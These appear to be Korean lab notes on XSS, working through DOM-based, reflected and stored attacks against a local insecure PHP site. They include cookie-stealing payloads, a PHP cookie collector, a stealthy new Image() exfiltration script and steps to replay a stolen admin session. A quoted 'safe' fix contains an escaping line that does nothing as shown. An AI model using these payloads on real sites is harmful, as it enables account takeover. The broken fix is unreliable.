1) XSS이란 무엇인가?
동적으로 출력하는 페이지에 대해 클라이언트 언어로 작성된 악의적인 스크립트를 삽입하여 비정상적인 행위를 하는 공격
클라이언트 언어(Client Side Script) - HTML,CSS, JavaScript
XSS는 서버 측 공격이 아닌, 클라이언트(사용자) 측 공격이다.
Scripting - 클라이언트 언어가 실행됨
XSS 공격은 A사이트에서 B사이트로 이동하는 공격이다.
2) 공격 대상
1. 기능적인 공격 대상
2. 엔드 포인트 단의 공격 대상
SQL Injection
- DB와 연결되어 있는 기능(게시판 등)에 대해 공격
XSS
- 웹 사이트의 특정 기능(게시판, 검색창) 공격
- 사용자에 대한 공격
< 기능적인 공격 대상 >
웹 어플리케이션 진단 관점에서 볼 때, 사용자 입력값을 받아 웹 페이지를 구성하는 기능은 공격 대상이다.
→ 사용자 입력값을 통해 동적인 웹 페이지를 구성한다면 모든 기능이 공격 대상이 된다.
→ 웹 페이지 내 사용자 입력값이 출력되어 있지 않아도 공격이 가능하다. (어딘가에 사용자 입력값이 입력되어 있으면 공격 가능)
→ 실제 클라이언트 단의 소스코드에 입력되어 있는 경우 (hidden의 value) 공격이 가능하다. (웹 브라우저에 출력되지 않아도 공격 가능 - 웹 브라우저를 믿지 말고 웹 프록시를 믿을 것)
< 엔드 포인트 단의 공격 대상 >
SQL Injection, OS Command Injection, XXE Injection 모두 서버를 대상으로 하는 공격이다.
XSS는 사용자를 대상으로 하는 공격이다.
→ Client Side Script 로 작성된 언어는 웹 서버에서 인식하지 못하며 웹 브라우저에서 해석해준다.
→ 사용자만 Client Side Script 인식
3) 공격 유형
피싱 → 악의적인 사용자가 유도한 사이트로 리다이렉션
악성코드 유포 → 강제로 악성코드 다운로드 및 실행 후 악성코드 설치, Drive-by Download(웹 브라우저 취약점 활용)
XSS Tunnel(XSS Shell) → 사용자 웹 브라우저 권한 획득, 대부분의 행위 가능
세션 하이재킹 → 사용자 세션 탈취 후 세션 재사용, 권한 탈취
CSRF → 악성 스크립트에 의해 악의적인 사용자가 의도한 행위를 함
4) 공격 기법
1. DOM-BASED XSS
2. REFLECTED XSS
3. STORED XSS
DOM-BASED XSS
- DOM(Documnet Object Model - 문서 객체 모델, HTML 문서에 접근하기 위한 표준 API)
- 웹 브라우저에서 사용자 입력 값을 통해 동적 페이지 구성
- 악성 스크립트가 담긴 URL을 사용자의 웹 브라우저에서 호출이 될 경우 악성 스크립트가 발생되는 취약점
- 서버 측이 아닌, 웹 브라우저에서 사용자 입력값에 따라 페이지를 구성
- Non Persistent XSS
DOM-BASED XSS 공격 예시
클라이언트에서 id=admin 을 입력한다.
서버에는 해당 admin 이 전달될 수도 있고 안될수도 있다. (전달되는 건 중요하지 않다.)
서버로부터의 응답값에 admin 이 실려서 오지 않는다.
웹 페이지를 보니 admin 이라고 출력된다. (DOM을 이용해서 문서(URL)에 접근해서 URL의 정보를 들고온 다음에 사용자 입력값이 어떤게 있는지 봐서 admin 파라미터 값을 사용자 웹 페이지에 출력 시킨다.)
이런 행위가 웹 브라우저 단에서 발생된다.
서버 측에서 입력값 검증이 있더라도 XSS 공격이 발생할 수 있다.
공격 발생 가능성 적다.
REFLECTED XSS
- 서버 측에서 사용자 입력 값을 통한 동적 페이지 구성
- 악성 스크립트가 담긴 URL을 사용자의 웹 브라우저에서 호출이 될 경우 악의적인 스크립트가 발생되는 취약점
- 공격자가 취약한 URL을 사용자에게 전달해야함
- Non-Persistent XSS
REFLECTED XSS 공격 예시
클라이언트에서 id=admin 을 입력한다.
서버에는 해당 admin 이 전달된다.
서버에는 해당 admin 이 담겨서 응답이 온다. → 서버 측에서 사용자 입력값을 통해 동적 페이지 구성
공격 발생 가능성 많다.
STORED XSS
- 데이터베이스에 저장된 데이터를 통한 동적 페이지 구성
- 공격자가 DB에 악의적인 스크립트를 저장, 사용자가 악성 스크립트가 담긴 DB의 특정 레코드값을 참조하여 공격 발생
- 공격자가 특정 게시글에 악성 스크립트를 심고, 사용자가 해당 게시글을 확인하면 악성 스크립트가 실행되는 공격
- 공격 발생 가능성 가장 많다.
- Persistent XSS
< 네트워크 구간에서 보는 XSS 공격 기법 종류 >
DOM-BASED XSS : 웹 브라우저에서 발생
Reflected XSS : 어플리케이션에서 발생
Stored XSS : 데이터베이스에 저장되었다가 사용자에게 전달되어 발생
5) 공격 원리 분석
< DOM-BASED XSS 공격 순서 >
1. 공격자가 사용자한테 악성 스크립트가 담긴 URL을 전달한다.
해당 URL은 공격자 서버가 아닌 안전한 사이트(ex: 구글, 네이버 등)+악성 스크립트로 구성되어 있다.
공격자는 사용자가 해당 URL에 접속할 수 있도록 만들어야 한다.(링크 클릭하여 접속할 수 있도록 유도한다.)
2. 사용자는 해당 URL을 클릭하면 웹 서비스에 접속한다.
웹 서버의 응답값에는 악성 스크립트가 담기지 않는다. (웹 서버로부터 정상 응답값이 수신된다.)
3. 웹 브라우저 단에서 웹 브라우저의 자바스크립트 엔진(해석기)에 의해 악성 스크립트가 담긴 페이지를 구성한다.
DOM 사용(문서에 접근할 수 있도록) - URL을 참조하여 악성 스크립트가 담긴 페이지를 구성한다.
이후 자바스크립트를 실행한다. - 공격자가 의도한 공격자 서버로 접근하게 된다.
< REFLECTED XSS 공격 순서 >
1. 공격자가 사용자한테 악성 스크립트가 담긴 URL을 전달한다.
해당 URL은 공격자 서버가 아닌 안전한 사이트(ex: 구글, 네이버 등)+악성 스크립트로 구성되어 있다.
공격자는 사용자가 해당 URL에 접속할 수 있도록 만들어야 한다.(링크를 클릭하여 접속할 수 있도록 유도한다.)
2. 사용자는 해당 URL을 클릭하면 웹 서비스에 접속한다.
웹 서버의 어플리케이션(특정 페이지+사용자 입력값)에서 악성 스크립트가 담긴 페이지를 구성하게 된다.
웹 서버의 응답 메시지 바디에 악성 스크립트가 담기게 된다.
3. 사용자는 웹 서버의 응답값을 통해 악성 스크립트를 전달받게 되고, 악성 스크립트가 실행되어 공격자 서버로 접근하게 된다.
위와 같은 공격 원리로 이루어지는게 Reflected XSS 이며, 이런 이유로 '반사'라는 개념이 붙게 되었다.
DOM-BASED XSS 와 REFLECTED XSS 공격은 URL을 통해 던져야 하므로 악성 스크립트가 항상 실려야 한다.
이런 이유로 Non-Persistenet(비 지속적인) XSS 라고도 불린다.
< STORED XSS 공격 순서 >
1. 공격자는 웹 서비스에 악성 스크립트를 저장한다. (악성 스크립트가 담긴 구문을 게시글, 댓글에 저장)
2. 공격자가 저장한 악성 스크립트가 DB에 저장된다.
3. 사용자가 해당 게시글, 댓글을 읽는다. (특정 게시판의 공지글 등, 유명한 게시글을 타겟으로 한다.)
4. 사용자가 읽는 순간 DB에 있던 악성 스크립트가 웹 페이지로 호출이 된다. (악성 스크립트가 담긴 페이지가 구성됨)
5. 악성 스크립트가 담긴 페이지가 사용자에게 전달된다.
6. 공격자가 의도한 공격자 서버로 접근하게 된다.
STORED XSS는 게시글에 저장이되므로 Persistent(지속적인) XSS 라고도 불린다.
실습5-1 DOM-BASED XSS 공격 실습
dom.php 코드 위치: C:\APM_Setup\htdocs\insecure_website\dom.php
< dom.php 소스코드 기존 >
<div id="page">Page</div>
<script>
var url = document.location;
url = unescape(url);
var page = url.substring(url.indexOf('page=')+5, url.length);
document.getElementById("page").innerHTML = page;
</script>
위 소스코드에서는 innerHTML이 script 태그를 허용하지 않아 script 태그를 활용한 XSS 구문 활용이 불가능하다.
<script>alert(document.cookie)</script> 입력 시 경고창이 출력되지 않음
< dom.php 소스코드 >
<script>
var url = document.location;
url = unescape(url);
var page = url.substring(url.indexOf('page=')+5, url.length);
document.write(page);
</script>
현재 소스코드를 보면 Server-Side Script 인 PHP 코드는 보이지 않고 오직 Client Side Script 인 JavaScript 코드만 확인된다.
document 객체를 선언했는데, document 객체는 웹 페이지 문서에 접근할 수 있는 객체이다.
location 메소드를 사용하여 이를 통해 url 값을 반환하게 된다.
최초의 이 값을 받아오면 사용자 입력값은 URL 인코딩이 된 상태이므로 unescape를 사용하여 URL 디코딩을 해준다.
substring 을 사용하여 특정 위치값의 길이만큼 값을 반환해준다. (원하는 값을 파싱하기 위해서)
indexOf('page=') → page 위치값
예를들어 사용자 입력값은 page 뒤에 notice 부분이다. page=notice
순수하게 사용자 입력값만 반환하기 위해서 +5를 해준다.(page= 이후 다섯번째부터가 사용자 입력값이므로)
url.length 를 통해 전체 URL 길이값을 반환해준다.
해당 내용이 이해하기 어려운것 같아 챗지피티에 코드 작성 후 설명을 요청하였다.
아래와 같이 정리된 것을 확인할 수 있었다.
위 JavaScript 코드는 현재 웹 페이지의 URL에서 특정 문자열(예: page= 뒤에 오는 값)을 추출하여 웹 페이지에 출력하는 코드이다. 아래 단계별로 설명한다.
1. var url = document.location;
- document.location은 현재 웹 페이지의 URL을 반환한다.
- 예: URL이 http://example.com?page=123일 경우, url 변수에는 "http://example.com?page=123"이 저장된다.
2. url = unescape(url);
- unescape 함수는 URL에 포함된 인코딩된 문자(예: %20은 공백)를 디코딩한다.
- 예:
- 인코딩된 URL: http://example.com?page%3D123
- unescape 결과: http://example.com?page=123
- 그러나, unescape는 더 이상 권장되지 않으며, 대신 decodeURIComponent를 사용하는 것이 좋다.
3. var page = url.substring(url.indexOf('page=')+5, url.length);
- url.indexOf('page=')는 URL에서 'page=' 문자열이 시작되는 위치(인덱스)를 찾는다.
- +5는 'page=' 문자열의 길이를 더해 'page=' 다음 값이 시작되는 위치를 나타낸다.
- substring 함수는 해당 위치부터 URL 끝까지의 문자열을 추출한다.
- 예:
- URL: http://example.com?page=123
- 'page=' 위치: 19
- 추출된 문자열: 123
4. document.write(page);
- document.write 함수는 추출된 문자열(page)를 현재 웹 페이지에 출력한다.
- 결과:
- URL이 http://example.com?page=123일 경우, 페이지에 123이 출력된다.
최종 동작
- URL에서 page= 뒤의 값을 찾아 추출한다.
- 해당 값을 웹 페이지에 출력한다.
보완 및 주의사항
- unescape 대신 decodeURIComponent 사용: unescape는 더 이상 사용되지 않으므로, decodeURIComponent로 교체하는 것이 좋다.
- 보안 문제:
- document.write는 XSS 공격에 취약할 수 있다. 외부 입력값을 처리할 때는 반드시 유효성을 검증해야 한다.
- 예를 들어, URL이 http://example.com?page=<script>alert('XSS')</script>일 경우, 이 스크립트가 그대로 실행될 위험이 있다.
수정된 안전한 코드는 다음과 같다:
<script>
var url = decodeURIComponent(document.location);
var paramIndex = url.indexOf('page=');
if (paramIndex !== -1) {
var page = url.substring(paramIndex + 5, url.length);
page = page.replace(/</g, "<").replace(/>/g, ">"); // XSS 방지
document.write(page);
}
</script>
127.0.0.1/insecure_website/dom.php 에 접속한다.
아무런 값을 넣지 않으니 그냥 URL 이 반환된다.
127.0.0.1/insecure_website/dom.php?page=test 를 입력한다.
page= 뒤에 test 가 그대로 출력되는 것을 확인할 수 있다.
127.0.0.1/insecure_website/dom.php?page=notice 를 입력한다.
page= 뒤에 notice 가 그대로 출력되는 것을 확인할 수 있다.
만약 page 뒤에 악성 스크립트가 삽입된다면, 악성 스크립트가 그대로 출력될 것이다.
XSS 취약성 확인 방법은 다음과 같다. → XSS 위험성을 보여주기 위해 경고창을 띄운다.
- alert()
- confirm()
- prompt()
보통 아래와 같이 script 태그를 활용해서 경고창을 띄우게 된다.
<script>alert(document.cookie)</script>
127.0.0.1/insecure_website/dom.php?page=<script>alert(document.cookie)</script> 를 입력한다.
세션값이 출력되는 것을 확인할 수 있다.
<img src="" onerror="alert(document.cookie)"> 를 입력하여 경고창을 출력하는 방법도 존재한다.
127.0.0.1/insecure_website/dom.php?page=<img src="" onerror="alert(document.cookie)"> 를 입력한다.
동일하게 세션값이 출력되는 것을 확인할 수 있다.
이를 통해 XSS 취약성 존재 유무를 확인할 수 있다.
DOM-BASED XSS 는 웹 브라우저단에서 악성 스크립트(사용자 입력값)을 받은 다음에 동적 페이지로 구성된다.
Server-Side Script 단에서는 해당 사용자 입력값(악성 스크립트)이 구성되지 않는다.
버프스위트를 켜고 위의 요청을 다시 시도한 후 서버 측 응답을 확인해본다.
1. Intercept On (Ctrl + T) 후 웹 사이트에서 요청 전송
2. Forward (Ctrl+F) 후 서버 측 응답 확인
응답값을 확인해보니 Server-Side 단에서는 악성 스크립트가 포함된 응답값이 확인되지 않는다.
순수하게 웹 브라우저단에서 동적 페이지 구성이 이루어지는 것을 알 수 있다.
→ DOM-BASED XSS의 핵심 (DOM을 통해 문서에 접근하여 사용자 입력값에 의해 동적 페이지가 구성됨)
→ REFLECTED XSS는 악성 스크립트가 응답값에 실리게된다.
그러므로 DOM-BASED XSS는 Server-Side 단에 파라미터 입력값 검증 로직이 있더라도 웹 브라우저단에서 공격이 이루어지기 때문에 우회가 가능하다.
?page 이전에 # 메타문자를 삽입해본다.
127.0.0.1/insecure_website/dom.php#?page=<img src="" onerror="alert(document.cookie)"> 를 입력한다.
php 문자열 이후 클라이언트에서 요청한 사용자 입력값이 확인되지 않는 것을 알 수 있다.
DOM-BASED XSS는 서버 사이드를 우회하여 공격하는 경우 파라미터(사용자 입력값)을 전달하지 않아 웹 방화벽에 걸리지 않게된다.
클라이언트에서 요청 시 사용자 입력값(악성 스크립트)가 확인되지 않으며, 서버에서 응답값 역시 악성 스크립트가 확인되지 않는다.
웹 브라우저가 위 서버 응답값 Javascript 를 해석하면서 악성 스크립트를 불러오게 된다.
잠재적인 DOM-BASED XSS 취약점에 노출될 수 있는 경우 |
document.write() document.writeln() document.domain document.URL document.referrer location.href loaction.search location.hash document.documentURI someDOMElement.innerHTML someDOMElement.outerHTML someDOMElement.insertAdjacentHTML someDOMElement.onevent window.name ... |
위와 같은 메소드가 사용될 때 XSS 취약점이 발생할 수 있다.
DOM-BASED XSS 공격은 분석하기도 상당히 까다로울 뿐만 아니라, 활용하기 위해서는 Client Side Script 에 대한 이해가 필요하다.
실습5-2 REFLECTED XSS 공격 실습
Reflected XSS 공격을 하기 위해서는 전제 조건이 있는데, 사용자 입력값을 입력한 뒤 응답값에 해당 입력 내용이 실려야 한다. 예를 들어 test 를 입력하면, 응답값에 test 가 똑같이 있어야 한다.
먼저 취약한 페이지를 구성한다.
C:\APM_Setup\htdocs\insecure_website 에 xss.php 파일을 생성 후 아래 소스코드를 입력한다.
<?
echo $_GET["value"]
?>
위 코드는 value 라는 사용자 입력값을 출력해주는 코드이다.
127.0.0.1/insecure_website/xss.php?value=test 를 입력한다.
value 값에 test 가 입력되어 웹 페이지에 출력되는 것이 확인된다.
127.0.0.1/insecure_website/xss.php?value=<script>alert(document.cookie)</script> 를 입력한다.
script 태그를 활용해서 경고창을 띄우게 되면서 세션값이 출력된다.
이를 통해 XSS 취약점 유무를 파악할 수 있다.
버프스위트에서 동일하게 XSS 공격을 진행해본다.
버프스위트를 켜고 위의 요청을 다시 시도한 후 서버 측 응답을 확인해본다.
1. Intercept On (Ctrl + T) 후 웹 사이트에서 요청 전송
2. Forward (Ctrl+F) 후 서버 측 응답 확인
사용자 입력값이 응답값에 그대로 반환되는 것을 확인할 수 있다.
→ Reflected XSS
DOM-Based XSS 는 응답값에 사용자 입력값이 없고, 웹 브라우저에서 사용자 입력값을 통한 동적 페이지가 구성된다.
Reflected XSS 는 응답값에 사용자 입력값이 실리게된다.
Refleted XSS 에 취약한 부분이 있는지 확인하기 위해 웹 서비스 내 특정 문자열을 입력하여 해당 문자열을 그대로 출력해주는 기능을 확인해본다.
검색창에 hohoho 를 입력하여 확인해본다.
버프스위트에서 Foward 를 통해 확인 시, 응답값에 hohoho는 확인되지 않았다. (Refleted XSS 취약점 존재하지 않음)
index.php 에는 확인되지 않으니 다른 페이지를 확인해본다.
admin 으로 로그인한다.
1. Intercept On (Ctrl + T) 후 웹 사이트에서 MyPage 를 클릭한다.
2. id=admin 에 hohoho를 입력 후 Forward (Ctrl+F) 후 서버 측 응답 확인
3. Intercept Off (Ctrl + T) 후 웹 사이트에서 출력된 에러메시지 확인
hohoho 라는 사용자는 없으므로 해당 사용자가 존재하지 않는다는 문구가 출력되며, 응답값에는 hohoho 가 확인되지 않는다.
MyPage는 입력값을 받은 후 사용자 존재 유무를 확인하는 로직이 있기 때문에 사용자 입력값이 출력되지 않았다.
(hohoho 라는 사용자는 존재하지 않기 때문에)
Pingcheck 를 클릭 후 URL 에 abc를 추가한다.
페이지 내 pingchecabc 가 출력되는 것을 확인할 수 있다.
사용자 입력값이 서버 응답값으로 출력된 것으로 Reflected XSS 취약점이 존재할 수도 있다고 판단할 수 있다.
(사용자 입력값 검증이 존재할 수도 있기 때문에 완전히 Reflected XSS 에 취약한것은 아니다.)
실제 XSS 구문을 입력하여 취약 유무를 확인하면 된다.
http://127.0.0.1/insecure_website/index.php?page=error&value=<script>alert(document.cookie)</script> 를 입력해본다.
세션값이 포함된 경고창이 출력되는 것을 통해서 해당 페이지가 Reflected XSS 에 취약하다는 것을 확인할 수 있다.
버프스위트 내 서버 응답값에서도 사용자 입력값이 출력되는 것을 확인할 수 있다.
http://127.0.0.1/insecure_website/index.php?page=error&value=<script>alert('XSS Attack')</script> 를 입력해본다.
버프스위트 내 서버 응답값에서도 사용자 입력값이 출력되는 것을 확인할 수 있다.
이를 통해 pingcheck 페이지가 Reflected XSS 공격에 취약한 것을 알 수 있다.
실습5-3 STORED XSS 공격 실습
Stored XSS 는 데이터베이스에 사용자 입력값이 저장되어야 한다.
공격자의 악성 스크립트가 데이터베이스에 담겨있다가 사용자가 읽었을때 해당 악성 스크립트가 실행된다.
이를 위해서는 데이터베이스에 입력값이 저장되는 기능에 악성 스크립트를 심어야한다.
게시판의 글쓰기 기능을 활용하여 악성 스크립트를 심어본다.
게시판에 <sciprt>alert('XSS Attack')<script> 를 작성 후 저장한다.
누군가가 해당 게시글을 읽게되면 다음과 같이 XSS Attack 문구가 경고창으로 출력된다.
Stored XSS는 이런식으로 게시글에 악성 스크립트를 심었다가, 누군가 해당 게시글을 클릭하게 되면 악성 스크립트가 발생되는 공격이다.
Stored XSS 공격이 다른 XSS 공격에 비해 더 편리하기도 하고, 취약점이 발생할 확률이 좀 더 높은 공격이다.
6) 세션 하이재킹에 대한 이해와 공격 원리 분석
Session Hijacking
- 세션 탈취를 통해 아이디, 패스워드를 몰라도 사용자 계정 도용
- 세션: 사용자를 식별하는 ID
< 공격 원리 분석 >
1. 공격자는 XSS 에 취약한 게시판에 악성 스크립트가 포함된 게시글을 작성한다.
2. 데이터베이스에 악성 스크립트가 저장된다.
3. 사용자는 해당 게시글을 클릭하여 읽는다.
4. 게시글에 포함된 악성 스크립트가 데이터베이스에서 웹 페이지로 전달된다.
5. 게시글에 담긴 악성 스크립트가 실행되어 사용자에게 전달된다.
6. 공격자 서버로 세션을 보내는 스크립트가 실행되어 사용자의 세션이 전송된다.
7. 공격자 서버에는 사용자 세션이 담겨서 공격자에게 전달된다.
8. 공격자는 사용자의 세션을 사용하여 웹 서비스에 사용자인척 접속한다.
실습5-4 세션 하이재킹 공격 실습
에러: 버프스위트에서 8888 포트로 프록시 사용하려고 설정 중, 8888포트가 사용중이라는 오류가 발생하여 확인해보니 jupyter notebook 를 사용하고 있는 것을 확인하였다. 127.0.0.1:8888 입력 시 jupyter notebook 페이지로 들어간다. 그리고 jupyter notebook 접속 후 세션 하이재킹 실습을 하는 경우에는, xsrf 문자열과 함께 세션값을 평소와 다르게 가져오는 현상이 발생하였다. 프록시 사용을 위해서 현재 컴퓨터에서 8080 또는 8888포트가 사용되는지 확인해야 한다. CMD 창을 열고 netstat -ano | findstr 8080 을 입력 또는 netstat -ano | findstr 8888 을 입력해서 해당 포트들이 사용되는지 확인한다. 검색결과가 없으면 해당 포트는 미사용이라는 의미이며, 검색결과가 나오면 해당 포트는 사용하고 있다는 의미이다. |
Stored XSS 를 활용하여 세션 하이재킹 공격 실습을 한다.
세션 하이재킹 실습을 위해서는 2개의 웹 브라우저를 사용해야 한다. (관리자와 해커를 나눠서 실습)
로컬PC의 웹 브라우저와 VMWare 내 웹 브라우저로 실습해도 상관없다.
크롬(관리자)과 엣지(해커)를 사용해서 실습한다.
크롬에서는 admin 으로 로그인한다.
엣지에서는 192.168.56.1/insecue_website로 접속 후, 공격자로 회원가입을 진행한다.
192.168.56.1 은 로컬 PC의 사설 IP로 실질적으로 127.0.0.1 과 동일하다. (CMD 에서 ipconfig 로 확인 가능)
192.168.56.1 에서 작성한 게시글을 127.0.0.1 에서 동일하게 확인 가능하다.
관리자가 읽을 수 있도록 게시글을 작성해야 하는데, 게시글 작성 전 먼저 세션값을 가져오는 코드를 작성한다.
VMWare를 사용하는 경우 VMWare 내 에서 C드라이브에 session 폴더 생성 후 session.php 를 생성한다.
로컬 PC를 사용하는 경우 C:\APM_Setup\htdocs\ 경로에 session 폴더 생성 후 session.php 를 생성한다.
< session.php >
<?
$session = $_GET["session"];
$ip = $_SERVER["REMOTE_ADDR"];
$date = date("Y-m-d H:i:s", time());
$fp = fopen("rawdata.txt", "a");
fwrite($fp, "{$date} | {$ip} | {$session}\r\n");
fclose($fp);
?>
127.0.0.1/session/session.php?session=test 에 접속한다.
192.168.56.1/session/session.php?session=test 에 접속한다.
접속 후 session 폴더 내에 rawdata.txt 파일이 생성되어 있는 것을 확인할 수 있다.
rawdata.txt 파일 확인 시 아래와 같이 접속 날짜, IP, session 입력값을 확인할 수 있다.
세션값을 가져오는 코드를 작성 후 세션값을 가져오는지 확인했으니 엣지에서 해커 계정으로 게시글을 작성한다.
게시글 내용은 다음과 같다.
<script>location.href="http://127.0.0.1/session/session.php?session="+document.cookie</script>
location.href 를 사용하면 리다이렉션이 진행된다. (해당 게시글을 읽게 되면 지정한 다른 페이지로 이동)
여기서 127.0.0.1 은 현재 로컬 PC의 웹 브라우저 2개를 사용해서 공격자와 피해자를 구분하므로, 로컬 IP를 사용했을뿐 실제로 취약점 진단 시 공격자 서버의 IP를 사용하면된다.
세션을 탈취하기 위해 documen.cookie를 선언해야하는데, session 파라미터 뒤에 +(연결 연산자)를 사용하여 http://127.0.0.1/session/session.php?session= 과 document.cookie를 붙여준다. 사용자 입력값에 세션이 실리도록 한다.
작성 후 해커 계정으로 해당 게시글을 클릭하면 이렇게 세션값이 URL에 입력되는 것을 확인할 수 있다.
rawdata.txt 에서 다음과 같이 해커의 세션값을 확인할 수 있다.
이제 크롬에서 관리자 계정으로 접속하여 해당 게시글을 확인해본다.
rawdata.txt 에서 다음과 같이 관리자의 세션값을 확인할 수 있다.
엣지에서 해커 계정으로 접속한다음, 버프스위트를 켜서 세션값을 관리자 세션값으로 변경해준다.
이때 버프스위트 설정이 127.0.0.1 로 프록시 설정이 되어 있으므로, 웹 페이지도 127.0.0.1/insecure_website로 접속해줘야 한다.
버프스위트에서 intercept on 후 엣지에서 다시 새로고침을 한다.
아래와 같이 해커의 세션값이 확인되는데, 이 세션값을 지우고 Forward(Ctrl + F)해준다.
Forward 후 Response를 확인하면 Set-Cookie 가 확인되는데, Set-Cookie에 관리자 세션값을 입력해준다.
굳이 응답값에서 Set-Cookie에 관리자 세션값을 입력하지 않아도 되며, 처음 요청 시 Cookie에 관리자 세션값을 입력해줘도 된다.
Set-Cookie가 세팅이 되면, 웹 브라우저에서는 Set-Cookie를 받아서 기존 사이트에있는 세션 쿠키값을 Set-Cookie 값으로 변경해준다. (응답메시지 헤더에 Set-Cookie 활성화하여 입력해주면 웹 브라우저에서는 자동으로 세션을 변경해준다.)
관리자의 세션 쿠키값을 입력해준다. 4ab437efcf3eb671d07f1ada98dbf13f
그 후 Intercept off 를 하고 난 후 해커 계정으로 접속한 엣지에서 새로고침을 하게 되면, 관리자 계정으로 접속된 것을 확인할 수 있다.
관리자가 맞는지 엣지에서 해당 계정으로 글을 작성해본다.
아래와 같이 관리자 계정으로 게시글이 작성된 것을 확인할 수 있다.
이렇게 세션 하이재킹을 통해서 관리자 계정을 탈취한 것을 확인할 수 있다.
하지만 위와 같은 방법은 해커가 작성한 게시글을 클릭하면 다른 페이지로 리다이렉션되므로 티가 너무 많이 난다.
희생자가 이런 낌새를 알 수 없도록 스크립트를 변경해본다.
엣지에서 다시 해커 계정으로 로그인 한다.
스크립트는 다음과 같이 작성해준다.
<script>new Image().src="http://127.0.0.1/session/session.php?session="+document.cookie</script>
위 스크립트는 이미지 객체를 생성하고 src 속성에서 해당 링크를 호출하도록 한다.
스크립트만 작성하면 게시글 클릭 시 내용이 없는 것으로 확인되니, 자연스럽게 작성을 위해 아무 글이나 작성해준다.
이후 엣지의 해커 계정에서 해당 게시글을 확인해본다.
리다이렉션되지 않으며, 게시글도 작성되어 있어 평범해보이는 게시글로 확인된다.
rawdata.txt 확인 시 해커의 세션값을 확인할 수 있다.
확인 시 해커의 세션값이 아니라 이전에 탈취한 관리자 세션값인 것을 확인할 수 있다. 세션값이 초기화되지 않은것이다.
크롬과 엣지에서 각 계정에서 로그아웃 후 브라우저를 껏다가 다시 켰다.
다시 크롬에는 관리자 계정으로 접속하고, 엣지에는 해커 계정으로 접속 후 해당 게시글을 다시 접속해본다.
위와 같이 해커 계정의 세션이 새로 발급된것을 확인할 수 있으며, 게시글의 이상함을 느낄 필요 없이 세션을 탈취한 것을 알 수 있다.
크롬에서 관리자 계정으로 해당 게시글에 접속 후 rawdat.txt 를 확인해보면 다음과 같이 관리자 세션이 탈취된것을 확인할 수 있다.
이번에는 Set-Cookie 가 아닌 개발자 도구를 활용하여 세션값을 변경해본다.
엣지에서 접속한 해커 계정에서 개발자 도구를 연다. (F12)
응용프로그램 - 쿠키 에서 세션값을 확인할 수 있다.
위의 해커 세션을 아까 세션 하이재킹한 관리자 세션으로 변경해준다.
관리자 세션: f948a490a27ba3c539c2bc15b2693a84
엣지에서 다시 새로고침하게 되면 관리자 계정으로 접속된 것을 확인할 수 있다.
여기서 핵심은 크롬(관리자)과 엣지(해커)의 브라우저의 세션이 각각 다르기 때문에 해당 실습이 가능한 점이며, 크롬에서 로그인하지 않은 세션값과 관리자 계정으로 로그인한 세션값은 동일하다. 그러므로 크롬의 세션 탈취 후 관리자 계정으로 로그인되어 있지 않으면 엣지에서 크롬 세션을 사용해도 관리자가 아닌 로그아웃되어 있는 상태가 될 수도 있다.
그러므로 크롬에서 관리자 계정으로 로그인한 상태에서만 세션 탈취 시 엣지에서 관리자 계정으로 로그인이 가능하다.
관리자가 맞는지 다시 test 게시글을 작성해본다.
다음과 같이 관리자로 게시글이 작성되는 것을 확인할 수 있다.
해커가 작성한 게시글 중, 리다이렉션되는 22번 게시글을 삭제하기 위해서는 다음과 같은 절차가 필요하다.
1. 해커 계정으로 로그인 후 버프스위트에서 Intercept On 한다.
2. 22번 게시글을 클릭 후 Forward(Ctrl + F)한다.
3. 응답값에서 script 부분을 삭제한다.
4. Intercept Off 후, 게시글에서 Delete 클릭하여 삭제한다.
위 script 부분을 삭제한다.
Delete 를 클릭하여 게시글을 삭제한다.
남은 게시글을 한꺼번에 삭제하기 위해서 MySQL에서 아래와 같이 쿼리를 사용해서 전체 게시글을 삭제해도 된다.
delete from insecure_board;
실습5-5 MyPage에 대한 XSS 공격과 꺽쇠 문자 없이 XSS 공격 실습
My Page 대상으로 XSS 공격을 시도해본다.
현재 insecure_website의 My Page를 XSS 공격을 위해 수정해도 사실 큰 의미는 없다.
→ 본인 계정의 My Page는 본인만 확인이 가능하므로, 본인 외에 악성 스크립트를 확인할 사람이 없다.
→ 관리자가 따로 회원정보를 확인할 수 있는 구조가 아니므로
하지만 실제 웹 사이트에서는 각 회원별 정보를 따로 모아놓는 관리자 전용 웹 페이지가 존재할 수 있는데, 해당 페이지에서는 개인이 My Page에 저장한 내용을 확인할 수 있으므로 그런 경우에는 My Page 에 악성 스크립트를 저장하여 Stored Based XSS를 시도할 수 있다.
→ 관리자 페이지에서 악성 스크립트에 의한 XSS 공격이 발생할 수 있다.
→ My Page를 대상으로 꺽쇠 또는 특수문자에 대한 검증이 있는지 취약점 진단이 필요하다.
실제 취약점 진단 시 관리자 전용 웹 페이지와 관리자 계정을 제공받는다면, 일반 계정으로 My Page에 악성 스크립트를 심어놓고, 관리자 전용 웹 페이지에서 해당 악성 스크립트가 발생하는지 확인할 수 있다.
→ 만약 관리자 계정 및 웹 페이지를 따로 제공받지 못한다면, 일반 계정의 My Page 에서 XSS 공격을 시도하여 취약점 여부를 확인하면 된다.
hacker 계정으로 로그인 후 My Page에 접속한다.
크롬 개발자 도구를 열고(F12), Name 부분에 맞는 HTML 코드를 찾는다.
Copy outerHTML 을 클릭하여 '해커' 문자열이 삽입된 HTML 코드를 복사한다.
Name 입력칸에 HTML 코드는 다음과 같다.
<input type="text" class="form-control" name="name" placeholder="Name Input" value="해커">
value 뒤에 사용자 입력값이 들어가는데, 기존에 SQL Injection 공격을 시도하듯이 서버에서 코드를 수신하는 입장으로 생각해본다.
만약 아래 코드를 서버에서 수신하려면 Name 입력값에 어떻게 입력해야 할까?
</input type="text" class="form-control" name="name" placeholder="name input" value="해커"><script>alert(document.cookie);</script>">
Name 입력값에 아래 스크립트를 입력한다.
해커"><script>alert(document.cookie);</script>
위와 같이 스크립트를 입력 후 수정하게되면, 아래와 같이 XSS 공격이 발생하여 세션값이 출력되는 것을 확인할 수 있다.
해커 계정의 name에 저장된 스크립트를 MySQL 에 접속 후 DB에서 확인해본다.
실제 취약점 진단 시 Name 입력값 같이 1개의 포인트에만 진단하는 것이 아닌, E-mail, Company 등 여러 입력값을 진단 후 대응하는 방법을 제시해야 한다.
다시 해커 계정의 Name 입력값을 원래대로 수정힌다.
만약 꺽쇠를 입력할 수 없는 상황이면 어떻게 해야 할까?
→ 꺽쇠가 제거되는 경우, HTML Entity Encoding이 적용되는 경우
꺽쇠(<)를 사용하지 않고 XSS 를 발생시키는 방법을 알아본다.
먼저 꺽쇠(<)를 사용할 수 없도록 mypage.php 파일의 소스코드를 수정해본다.
경로: C:\APM_Setup\htdocs\insecure_website
